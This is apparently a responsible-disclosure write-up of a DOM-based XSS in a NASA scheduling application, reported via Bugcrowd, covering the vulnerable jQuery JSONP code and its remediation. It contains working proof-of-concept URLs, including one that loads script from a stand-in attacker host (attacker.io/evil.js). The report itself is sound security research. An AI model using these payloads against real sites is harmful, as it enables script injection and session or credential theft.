June 23, 2026
DOM-Based XSS via Controllable JSONP Data Source
Program: NASA Vulnerability Disclosure Program (Bugcrowd) Severity: P3 — Medium Status: ✅ Accepted & Valid VRT: Cross-Site Scripting…

By Gokul
2 min read
Program: NASA Vulnerability Disclosure Program (Bugcrowd) Severity: P3 — Medium Status: ✅ Accepted & Valid VRT: Cross-Site Scripting (XSS) > Off-Domain > Data URI Date: 17 Apr 2026 · App Version 1.18
Overview
Schedule Visualization application exposes two URL query parameters — dataSourceURL and dataSourceType — that flow directly into a jQuery AJAX call without any validation or sanitization. By setting dataSource=custom and dataSourceType=jsonp, an attacker can force the application to fetch and execute a script from any attacker-controlled URL, resulting in arbitrary JavaScript execution within the context of the NASA subdomain.
Vulnerability Analysis
Source
The application reads the following parameters from the URL query string:
dataSourcedataSourceURLdataSourceType
These values are used to populate application state and passed into the queryEventData() function.
Vulnerable Code Path
// queryEventData() — main JS bundle
const n = "custom" === getDataSource(t)
? t.dataSourceType // ← fully attacker-controlled
: "jsonp";
const s = await $.ajax({
url: dataSourceURL, // ← attacker-controlled
async: false,
type: "GET",
dataType: n // ← "jsonp" causes <script> injection
});// queryEventData() — main JS bundle
const n = "custom" === getDataSource(t)
? t.dataSourceType // ← fully attacker-controlled
: "jsonp";
const s = await $.ajax({
url: dataSourceURL, // ← attacker-controlled
async: false,
type: "GET",
dataType: n // ← "jsonp" causes <script> injection
});Sink
When dataType is set to jsonp, jQuery's $.ajax constructs a <script> element and appends it to the DOM, causing the browser to fetch and execute the response from the attacker-supplied url. There is no allowlist, domain check, or content-type validation in place.
Proof of Concept
Vector 1 — Data URI (No External Infrastructure Required)
The payload is embedded entirely within the URL using a data: URI. No attacker-hosted server is needed.
https:example.com
?showAdvancedOptions=true
&dataSource=custom
&dataSourceType=jsonp
&dataSourceURL=data:,alert(document.domain)//https:example.com
?showAdvancedOptions=true
&dataSource=custom
&dataSourceType=jsonp
&dataSourceURL=data:,alert(document.domain)//Result: Browser pops an alert confirming execution on xx.example.gov.
Vector 2 — Remote Script (Full Payload Delivery)
For more sophisticated payloads — keyloggers, session stealers, phishing overlays — point dataSourceURL at an attacker-controlled JS file:
https://example.com
?showAdvancedOptions=true
&dataSource=custom
&dataSourceType=jsonp
&dataSourceURL=https://attacker.io/evil.jshttps://example.com
?showAdvancedOptions=true
&dataSource=custom
&dataSourceType=jsonp
&dataSourceURL=https://attacker.io/evil.jsSteps to Reproduce
- Open a browser and navigate to the PoC URL (Vector 1) above.
- Observe the JavaScript alert dialog displaying the domain
example.com. - Execution is confirmed — arbitrary JS now runs in the victim's browser session on the NASA subdomain.
Impact
A successful attacker can exploit this vulnerability to:
Vector Description
Session Hijacking Steal authentication cookies and tokens from logged-in NASA operators, bypassing session controls
Data Exfiltration Read sensitive mission scheduling and operational data displayed on the dashboard and beacon it to an external server
Keylogging Capture every keystroke entered by an authenticated user in real-time
Phishing / UI Redressing Overlay a fake login form on the trusted example.com subdomain to harvest credentials
Stored Lateral Movement If the injected script can interact with other internal endpoints, use the victim's session to pivot further into JPL infrastructure
The fact that this bug lives on a example.com subdomain — associated with NASA's Jet Propulsion Laboratory — elevates the real-world severity beyond a typical P3. Operational scheduling data for space missions is not something you want leaking through a query parameter.
Remediation
1. Enforce a Strict URL Allowlist
Validate dataSourceURL against an approved list of NASA/JPL domains server-side. Reject any URL that does not match before it ever reaches the client-side AJAX call.
const ALLOWED_DOMAINS = ['example.gov', 'example.com'];
function isSafeUrl(url) {
try {
const parsed = new URL(url);
return ALLOWED_DOMAINS.some(d => parsed.hostname.endsWith(d));
} catch {
return false;
}
}
if (!isSafeUrl(dataSourceURL)) {
throw new Error('Unauthorized data source');
}const ALLOWED_DOMAINS = ['example.gov', 'example.com'];
function isSafeUrl(url) {
try {
const parsed = new URL(url);
return ALLOWED_DOMAINS.some(d => parsed.hostname.endsWith(d));
} catch {
return false;
}
}
if (!isSafeUrl(dataSourceURL)) {
throw new Error('Unauthorized data source');
}2. Eliminate JSONP Entirely
JSONP is a legacy cross-origin workaround from 2009. Replace $.ajax with the modern fetch() API combined with proper CORS headers on the server side. Never allow the dataType field to be user-controlled.
// Replace this:
$.ajax({ url: dataSourceURL, dataType: "jsonp" });
// With this:
const response = await fetch(dataSourceURL, { credentials: 'same-origin' });
const data = await response.json();// Replace this:
$.ajax({ url: dataSourceURL, dataType: "jsonp" });
// With this:
const response = await fetch(dataSourceURL, { credentials: 'same-origin' });
const data = await response.json();3. Implement a Content Security Policy (CSP)
Add a Content-Security-Policy response header that explicitly prevents execution of data: URIs and restricts script sources to trusted NASA domains:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://*.example.gov https://*.xx.example.gov;
object-src 'none';Content-Security-Policy:
default-src 'self';
script-src 'self' https://*.example.gov https://*.xx.example.gov;
object-src 'none';Timeline
Date Event 17 Apr 2026 Vulnerability discovered and reported to NASA VDP via Bugcrowd 17 Apr 2026 Expedited triage triggered — Submission accepted as valid (P3)
References
- OWASP: DOM-Based XSS
- jQuery JSONP Security
- OWASP: Content Security Policy
- CWE-79: Improper Neutralization of Input During Web Page Generation
Reported responsibly via Bugcrowd. All testing was performed on the live endpoint without accessing, modifying, or exfiltrating any real data.